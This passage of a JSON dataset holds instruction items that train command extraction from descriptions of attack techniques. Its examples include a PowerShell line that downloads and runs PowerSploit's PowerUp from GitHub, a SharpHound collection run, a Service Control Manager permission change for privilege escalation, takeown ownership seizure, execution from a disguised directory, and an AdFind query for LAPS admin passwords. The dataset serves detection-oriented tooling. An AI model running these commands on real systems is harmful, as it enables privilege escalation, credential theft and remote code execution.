    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing a process from a directory disguised as the parent directory, run this command sequence:\nmkdir $HOME/...\ncp $(which sh) $HOME/...\n$HOME/.../sh -c \"echo #{test_message}\"\n",
    "output": "{\"command_list\": [\"mkdir $HOME/...\\ncp $(which sh) $HOME/...\\n$HOME/.../sh -c \\\"echo #{test_message}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves starting a packet capture, waiting 5 seconds, then stopping it with these commands: pktmon.exe start --etw  -f %TEMP%\\t1040.etl\nTIMEOUT /T 5 >nul 2>&1\npktmon.exe stop\n",
    "output": "{\"command_list\": [\"pktmon.exe start --etw  -f %TEMP%\\\\t1040.etl\\nTIMEOUT /T 5 >nul 2>&1\\npktmon.exe stop\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can list all local users and groups by executing this series of commands: dscl . list /Groups\ndscl . list /Users\ndscl . list /Users | grep -v '_'\ndscacheutil -q group\ndscacheutil -q user",
    "output": "{\"command_list\": [\"dscl . list /Groups\\ndscl . list /Users\\ndscl . list /Users | grep -v '_'\\ndscacheutil -q group\\ndscacheutil -q user\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For running a CHM file using a specific script engine and ITS protocol handler, execute the following: Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}",
    "output": "{\"command_list\": [\"Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Network share discovery is performed via PowerShell with the command: get-smbshare",
    "output": "{\"command_list\": [\"get-smbshare\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Changing filesystem permissions to gain ownership can be done with the command: takeown.exe /f #{file_folder_to_own} /r",
    "output": "{\"command_list\": [\"takeown.exe /f #{file_folder_to_own} /r\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Service Control Manager permissions can be modified to permit administrative users to escalate privileges and create SYSTEM-level services (restart required), using the command: sc.exe sdset scmanager D:(A;;KA;;;WD)\n",
    "output": "{\"command_list\": [\"sc.exe sdset scmanager D:(A;;KA;;;WD)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For listing Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime, execute this LDAP query command: & \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" #{optional_args} -h #{domain} -s subtree -f \"objectclass=computer\" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime\n",
